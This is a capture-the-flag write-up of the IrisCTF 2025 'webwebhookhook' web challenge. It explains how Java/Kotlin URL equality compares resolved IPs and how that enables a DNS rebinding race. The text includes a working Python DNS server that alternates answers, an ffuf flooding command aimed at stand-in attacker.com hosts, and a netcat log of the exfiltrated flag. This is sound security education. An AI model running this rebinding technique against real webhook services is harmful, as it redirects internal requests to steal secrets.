While playing IrisCTF 2025 with team Superflat, I spent most of my time on the webwebhookhook challenge. It was the hardest of the Web Exploitation category with a total of 16 solves in the end.

This challenge was interesting to me because it written in Kotlin, a language built on Java. I often gave up quickly when seeing anything related to Java because I'm always annoyed by the verbosity and complexity of anything written in it. I can't keep skipping it forever, though, so this was a good opportunity to get to know it better once and for all.

The Challenge

As with most CTF challenges, we get full access to the source code and a simple Docker setup to test things locally. There are not many files:

Tree

├── Dockerfile
└── src/main/
    ├── kotlin/tf/irisc/chal/webwebhookhook/
    │   ├── State.kt
    │   ├── WebwebhookhookApplication.kt
    │   └── controller/
    │       └── MainController.kt
    └── resources/
        ├── application.properties
        └── static/
            └── home.html

The application's main() function is defined in WebwebhookhookApplication.kt:

Kotlin

package tf.irisc.chal.webwebhookhook

import org.springframework.boot.autoconfigure.SpringBootApplication
import org.springframework.boot.runApplication

@SpringBootApplication
class WebwebhookhookApplication

const val FLAG = "irisctf{test_flag}";

fun main(args: Array<String>) {
    State.arr.add(StateType(
            "http://example.com/admin",
            "{\"data\": _DATA_, \"flag\": \"" + FLAG + "\"}",
            "{\"response\": \"ok\"}"))
    runApplication<WebwebhookhookApplication>(*args)
}

This tells us there is some global State.arr variable that it mutated. This type is defined in State.kt:

Kotlin

package tf.irisc.chal.webwebhookhook

import java.net.URI
import java.net.URL

class StateType(
        hook: String,
        var template: String,
        var response: String
    ) {
    var hook: URL = URI.create(hook).toURL()
}

object State {
    var arr = ArrayList<StateType>()
}

In Kotlin, the above syntax for StateType(...) defined its constructor, taking 3 arguments. Two of which start with var meaning they are automatically turned into properties. The last hook variable is not yet a property, but the constructor body creates a var hook property of type URL by parsing the string.

So the main function creates a StateType with a hook of http://example.com/admin, a template containing _DATA_ and the flag, and lastly a simple "ok" response. Then, it calls the runApplication() function from Spring which is a common web framework for Java. This implicitly runs the whole application based on the remaining folders in the source code.

controller/ contains the MainController class which has an @Controller annotation, indicating that it can handle requests. Its source code is the main logic of the application that we can interact with:

Kotlin

package tf.irisc.chal.webwebhookhook.controller

import org.springframework.http.MediaType
import org.springframework.stereotype.Controller
import org.springframework.ui.Model
import org.springframework.web.bind.annotation.*
import tf.irisc.chal.webwebhookhook.State
import tf.irisc.chal.webwebhookhook.StateType
import java.net.HttpURLConnection
import java.net.URI

@Controller
class MainController {

    @GetMapping("/")
    fun home(model: Model): String {
        return "home.html"
    }

    @PostMapping("/webhook")
    @ResponseBody
    fun webhook(@RequestParam("hook") hook_str: String, @RequestBody body: String, @RequestHeader("Content-Type") contentType: String, model: Model): String {
        var hook = URI.create(hook_str).toURL();
        for (h in State.arr) {
            if(h.hook == hook) {
                var newBody = h.template.replace("_DATA_", body);
                var conn = hook.openConnection() as? HttpURLConnection;
                if(conn === null) break;
                conn.requestMethod = "POST";
                conn.doOutput = true;
                conn.setFixedLengthStreamingMode(newBody.length);
                conn.setRequestProperty("Content-Type", contentType);
                conn.connect()
                conn.outputStream.use { os ->
                    os.write(newBody.toByteArray())
                }

                return h.response
            }
        }
        return "{\"result\": \"fail\"}"
    }

    @PostMapping("/create", consumes = [MediaType.APPLICATION_JSON_VALUE])
    @ResponseBody
    fun create(@RequestBody body: StateType): String {
        for(h in State.arr) {
            if(body.hook == h.hook)
                return "{\"result\": \"fail\"}"
        }
        State.arr.add(body)
        return "{\"result\": \"ok\"}"
    }
}

The @...Mapping() annotations show endpoints we can hit. @GetMapping("/") simply returns a path to the template it should respond with. The two @PostMappings are more interesting. The simple /create endpoint takes a body parameter annotated with @RequestBody, meaning it is taken from the POST body we provide in the request. It is also set to the StateType type causing it to automatically deserialize the body into the properties of that type. As you mean remember, these should be hook, template, and response. The consumes = [MediaType.APPLICATION_JSON_VALUE] even forces this format to be JSON, so we can add a webhook to the list by sending the following payload:

JSON

{
    "hook": "https://example.com",
    "template": "Something containing _DATA_",
    "response": "Everything is OK"
}

It will loop through the State.arr, looking for any existing webhooks where the .hook is the same. If it doesn't exist yet, it is added to the list.

Lastly, we can hit the /webhook endpoint which seems the most interesting. It has a few different inputs:

  1. @RequestParam("hook") hook_str: String is a query parameter ?hook=
  2. @RequestBody body: String is the raw POST request body as a string
  3. @RequestHeader("Content-Type") contentType: String is the Content-Type header's value of our request

The first step is creating a URL from our hook_str, and again looping through the list until it finds a matching .hook. When it does, the template's _DATA_ is replaced with our request body, and a connection to the hook URL is made. The Content-Type header is copied from our request, and the filled template is streamed as the request body. Finally, the preconfigured response is returned.

This is interesting for sure, by creating a webhook and triggering it, we can already make the application send a POST request with an arbitrary body and content type to any URL. But in a Capture The Flag event we're looking for the flag, stored in the State.arr list.

We can easily trigger the flag's webhook by requesting /webhook?hook=http://example.com/admin, matching the hook. But this will only make a connection to http://example.com/admin and send it the filled template. The template contains the flag which is interesting, so the flag will be sent to example.com in this case. However, I'm not the owner of that website so that doesn't benefit me much.

What is equals?

One idea that quickly came to mind was if we could confuse the application into matching the flag's webhook, but send it to our host. Following the code, the logic is in our favor:

  1. Parse ?hook= into a URL
  2. Take the flag's .hook
  3. If they are equal (with ==)...
  4. Send the flag to our input URL (the hook variable)

The == operator is really the thing that stops us from setting it to our host. A parser differential may be unlikely because our string is already parsed before being compared, but it's good to have a look at the implementation anyway. One thing I remembered from Java was that the == operator was sometimes bad to use on Objects because it actually compares their memory addresses instead of the content by default.
However, it turns out that Kotlin solved this problem by implicitly calling the .equals() method instead, which is likely to contain a sensible implementation.

IntelliJ is by far the best Java/Kotlin editor, far better than Visual Studio Code. Its main benefit to hackers is that you can follow the code really well by Ctrl+Clicking on anything. After opening the project in IntelliJ IDEA and letting it index the files, we can Ctrl+Click on the == operator that we are interested in. This brings us straight to the implementation and we can keep clicking deeper to understand the full logic:

Java

// https://github.com/openjdk/jdk/blob/dfacda488bfbe2e11e8d607a6d08527710286982/src/java.base/share/classes/java/net/URL.java#L976-L981
public boolean equals(Object obj) {
    if (!(obj instanceof URL u2))
        return false;

    return handler.equals(this, u2);
}

// https://github.com/openjdk/jdk/blob/dfacda488bfbe2e11e8d607a6d08527710286982/src/java.base/share/classes/java/net/URLStreamHandler.java#L351-L353
protected boolean equals(URL u1, URL u2) {
    return Objects.equals(u1.getRef(), u2.getRef()) && sameFile(u1, u2);
}

// https://github.com/openjdk/jdk/blob/dfacda488bfbe2e11e8d607a6d08527710286982/src/java.base/share/classes/java/net/URLStreamHandler.java#L411-L435
protected boolean sameFile(URL u1, URL u2) {
    // Compare the protocols.
    if (!((u1.getProtocol() == u2.getProtocol()) ||
            (u1.getProtocol() != null &&
            u1.getProtocol().equalsIgnoreCase(u2.getProtocol()))))
        return false;

    // Compare the files.
    if (!(u1.getFile() == u2.getFile() ||
            (u1.getFile() != null && u1.getFile().equals(u2.getFile()))))
        return false;

    // Compare the ports.
    int port1, port2;
    port1 = (u1.getPort() != -1) ? u1.getPort() : u1.handler.getDefaultPort();
    port2 = (u2.getPort() != -1) ? u2.getPort() : u2.handler.getDefaultPort();
    if (port1 != port2)
        return false;

    // Compare the hosts.
    if (!hostsEqual(u1, u2))
        return false;

    return true;
}

We can see that it checks the URLs part by part. First, the ref (hash) of the URL, then the protocol, the file path, the ports, and finally the hosts. We can match all of these with our server except for the hosts, so let's check out the hostsEqual() function:

Java

// https://github.com/openjdk/jdk/blob/dfacda488bfbe2e11e8d607a6d08527710286982/src/java.base/share/classes/java/net/URLStreamHandler.java#L458-L469
protected boolean hostsEqual(URL u1, URL u2) {
    InetAddress a1 = getHostAddress(u1);
    InetAddress a2 = getHostAddress(u2);
    // if we have internet address for both, compare them
    if (a1 != null && a2 != null) {
        return a1.equals(a2);
    // else, if both have host names, compare them
    } else if (u1.getHost() != null && u2.getHost() != null)
        return u1.getHost().equalsIgnoreCase(u2.getHost());
    else
        return u1.getHost() == null && u2.getHost() == null;
}

So... it turns the URLs into InetAddress objects, which are IP addresses. The getHostAddress function resolves the domain names to IP addresses using a DNS lookup, then if both URLs could be resolved, the IPs are compared (with a1.equals(a2)) instead of the names as strings!

Interestingly, IntelliJ IDEA even warns about this weird behavior back in the original source code:

IntelliJ IDEA warning about "Call to equals() on URL object"

It means that in theory, any two domains pointing to the same IP will be seen as the same host by ==. We can make our domain point to example.com's IP (93.184.215.14), then input our domain and it will try to send the flag to our domain.

But at this point, it still won't send the flag to us but to the IP of example.com, not in our control. This is getting more suspicious though.

DNS Rebinding

There's this relatively well-known technique in Web Exploitation called "DNS Rebinding". The idea is that DNS records can be changed, and if you do this right in between two DNS lookups, the two results may differ. This is more generally known as a "TOCTOU" bug where the Time Of Check finds a safe value and lets the program go through, while Time Of Use finds a different changed value that may be a dangerous payload.

You may know that DNS has root servers, but sometimes also dedicated servers handling only a single domain. Using an NS record on your domain, you can tell the DNS infrastructure what server should handle any DNS queries relating to that domain. You can point this to your own server and host a simple DNS server on port 53 to give arbitrary responses to DNS queries. With this, it becomes easy to quickly change DNS answers without having to wait for the whole world to synchronize.

Let's build a simple proof-of-concept. Imagine we own a domain called attacker.com and have access to a VPS with a public IP, we should set two DNS records on it:

  1. An A record with any name pointing to the VPS's IP (eg. vps pointing to 1.3.3.7)
  2. An NS record with the name being the suffix you want to control, pointing to the full domain name where you created the A record (eg. dns pointing to vps.attacker.com)

Now, any query to *.dns.attacker.com will be asked to 1.3.3.7. Using dnslib in Python it is easy to set up a custom DNS server that does exactly what we want. The following just responds to any request with "1.2.3.4":

Python

import dnslib.server
import dnslib

class DNSResolver:
    def resolve(self, request, handler):
        reply = request.reply()
        qname = str(request.q.qname)[:-1]
        ip = "1.2.3.4"
        print(qname, "->", ip)
        reply.add_answer(dnslib.RR(qname, dnslib.QTYPE.A,
                         rdata=dnslib.A(ip), ttl=1))
        return reply

resolver = DNSResolver()
logger = dnslib.server.DNSLogger("-request,-reply")
server = dnslib.server.DNSServer(resolver, port=53, address="", logger=logger)
server.start_thread()
try:
    input("Press enter to exit...\n")
finally:
    server.stop()

If we run this on the attacker's 1.3.3.7 server and then request anything.dns.attacker.com, we receive a 1.2.3.4 response and see it logged in the DNS server:

Shell

$ sudo python3 dns-server.py 

anything.dns.attacker.com -> 1.2.3.4

Shell

$ dig A anything.dns.attacker.com

;; QUESTION SECTION:
;anything.dns.attacker.com.              IN      A

;; ANSWER SECTION:
anything.dns.attacker.com.       1       IN      A       1.2.3.4

Normally in a DNS Rebinding attack, one would now set the Time To Live (TTL) of the answer to be as low as possible (see ttl=1 in the server). This tells the client to request it again and not try to cache it locally for too long. This is important because our original goal was to perform a Race Condition that causes the check to see one address, while the use sees another. In the code, this is only a tiny fraction so we can't have it cache the response for a few minutes, then we wouldn't be able to change it.

Java

if(h.hook == hook) {
    // <-- Race window starts here (1st DNS lookup from `==`)
    var newBody = h.template.replace("_DATA_", body);
    // <-- Race window ends here (2nd DNS lookup from making TCP connection)
    var conn = hook.openConnection() as? HttpURLConnection;

The idea for our attack to solve the challenge is as follows:

  1. We send the server http://test.dns.attacker.com/admin to request
  2. While looping through the stored hooks, the == operator will resolve the address of example.com and test.dns.attacker.com. We will return 93.184.215.14 to match example.com's IP
  3. The server will hit the hook.openConnection() line and set up a new connection to the URL, resolving the test.dns.attacker.com domain name once again. Hopefully, due to the low TTL in our first response, it won't get the IP from its cache and instead request it from our DNS server a second time.
  4. This time, we will return our VPS's IP (eg. 1.3.3.7) instead of the one from example.com. This causes the running request handler to send the flag to our VPS instead of http://example.com

When testing this idea it is good to add some Thread.sleep(ms) calls in between the race window to add a bit more time and ensure that you can hit the timing, instead of relying on luck. If we now call the /webhook endpoint a few times with the test.dns.attacker.com domain, we surprisingly find that it only works once, and then never sends any DNS request anymore. After ~30 seconds, it works again and then immediately stops requesting again. It appears that Java ignores our low TTL and instead decides to always cache our DNS responses for 30 seconds.

The time between == and .openConnection() is very small. While we can maybe add some time by making the body large and delaying the replace() call, we won't get anywhere near 30 seconds without way too large of a body to be able to send.

Cache Invalidation

The trick is that the DNS cache needs to be revalidated at some point. The server can't keep believing the same IP address forever, that would be bad if the IP legitimately changed. That means in theory, if the cache invalidation happens right in between our race window, the 2nd DNS lookup will not be in the cache anymore and we can return a different 2nd response.

This may seem difficult as it is hard to time the 2nd request to a millisecond level. But if we think about what happens if we send a request too early, it would just grab the IP from the cache again and request http://example.com. The cache will still invalidate and if we just have any of our requests fall into the tiny window, we'll receive the flag. That means we can just keep spamming the URL until the cache expires and a new DNS request is sent to our server. Then we respond with the IP changed to our VPS.

We will still have 1 chance every 30 seconds to hit it, one small improvement is to simply do this simultaneously with a few different domains all under our control (eg. attack1.dns.attacker.com, attack2.dns.attacker.com, etc.). The cache will expire for all of them separately so we have more chances for every 30-second interval.

Final Solution

We now have everything we need to solve this challenge. First, we'll expand the custom DNS server to respond with alternating IP addresses for each request:

Python

import dnslib.server
import dnslib
from time import time

#       example.com      VPS
IPS = ["93.184.215.14", "1.3.3.7"]
# Each requested domain has its own alternating counter
domains = {}

def next_ip(qname):
    if qname not in domains:
        domains[qname] = {
            "index": 0,
            "last": time()
        }

    domain = domains[qname]
    # Some resolvers like to request it multiple times, throwing off any counting mechanism
    # So, we count all requests within 5 seconds as 1 increment
    if time() - domain["last"] > 5:
        domain["index"] += 1
        domain["index"] %= len(IPS)

    domain["last"] = time()
    return IPS[domain["index"]]

class DNSResolver:
    def resolve(self, request, handler):
        reply = request.reply()
        qname = str(request.q.qname)[:-1]
        ip = next_ip(qname)
        print(qname, "->", ip)
        reply.add_answer(dnslib.RR(qname, dnslib.QTYPE.A,
                         rdata=dnslib.A(ip), ttl=0))
        return reply

resolver = DNSResolver()
logger = dnslib.server.DNSLogger("-request,-reply")
server = dnslib.server.DNSServer(resolver, port=53, address="", logger=logger)
server.start_thread()
try:
    input("Press enter to exit...\n")
finally:
    server.stop()

This will be running on the server pointed to by the NS record for dns.attacker.com. Then, we will use FFUF as a fast requester to continuously spam the target with webhooks to attack*.dns.attacker.com URLs, matching the /admin path of http://example.com/admin:

Bash

ffuf -u 'https://webwebhookhook.i.chal.irisc.tf/webhook?hook=http://attackFUZZ.dns.attacker.com/admin' \
     -X POST -H 'Content-Type: application/json' -d '{}' -w <(yes "$(seq 1 5)" | head -n 100000) -mr ok

Note: The <(yes "$(seq 1 5)" | head -n 100000) syntax is Process Substitution in Bash that will be replaced with a temporary file path for the output of the command inside. yes is a simple command that repeats its argument infinitely, which is a list from 1-5 to generate 5 unique domains. This is limited by 100.000 lines to allow ffuf to load it all.

While running it, we instantly get 5 DNS requests that we resolve to example.com to match the == condition. Soon thereafter the cache of the remote target expires, and because we keep spamming requests, the same domains are requested again. Now, our server responds with our VPS's IP (1.3.3.7):

Shell

$ sudo python3 dns-server.py
attack4.dns.attacker.com -> 93.184.215.14
attack5.dns.attacker.com -> 93.184.215.14
attack2.dns.attacker.com -> 93.184.215.14
attack3.dns.attacker.com -> 93.184.215.14
attack1.dns.attacker.com -> 93.184.215.14
attack1.dns.attacker.com -> 93.184.215.14
... 30 seconds later
attack4.dns.attacker.com -> 1.3.3.7
attack5.dns.attacker.com -> 1.3.3.7
attack2.dns.attacker.com -> 1.3.3.7
attack3.dns.attacker.com -> 1.3.3.7
attack1.dns.attacker.com -> 1.3.3.7

After a few iterations of this, we get lucky and one of the domains managed to thread the needle. The cache expired right after the == check, causing the .openConnection() to request it again and receive our VPS's address, causing the flag to be sent to our server:

Shell

$ nc -lnvp 80

Connection received on 127.0.0.1 51006
POST / HTTP/1.0
Host: attack1.dns.attacker.com
Connection: close
Content-Length: 50
Content-Type: application/json
User-Agent: Java/17.0.10
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

{"data": {}, "flag": "irisctf{url_equals_rebind}"}

Here we received the flag intended for example.com!
irisctf{url_equals_rebind}